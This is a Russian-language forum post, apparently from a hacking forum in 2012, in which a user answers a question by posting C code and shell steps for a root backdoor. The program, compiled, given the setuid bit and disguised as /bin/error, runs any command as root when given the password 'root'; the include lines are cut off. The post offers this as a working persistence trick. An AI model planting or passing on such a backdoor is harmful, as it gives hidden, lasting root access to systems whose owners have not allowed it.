Показать сообщение отдельно

  #8  
Старый 13.01.2012, 17:57
Ereee
Постоянный
Регистрация: 01.12.2011
Сообщений: 560
Провел на форуме:
102354

Репутация: 267


По умолчанию

Цитата:
Сообщение от Bragal  
Можно что-то сделать?
Да. Например:

Файл 1.c

Код:
#include 
#include 
main(int argc, char *argv[])
{
if(argc == 3){
if(strcmp(argv[1],"root") == 0){
setgid(0);
setuid(0);
system(argv[2]);
}
}
return 0;
}
А через скрипты:

Код:
gcc 1.c -o xren
chmod 755 xren
chmod +s xren
mv xren /bin/error
Запускаешь так:

Код:
/bin/error root id
Где root пароль, в коде выделил красным.
 
Ответить с цитированием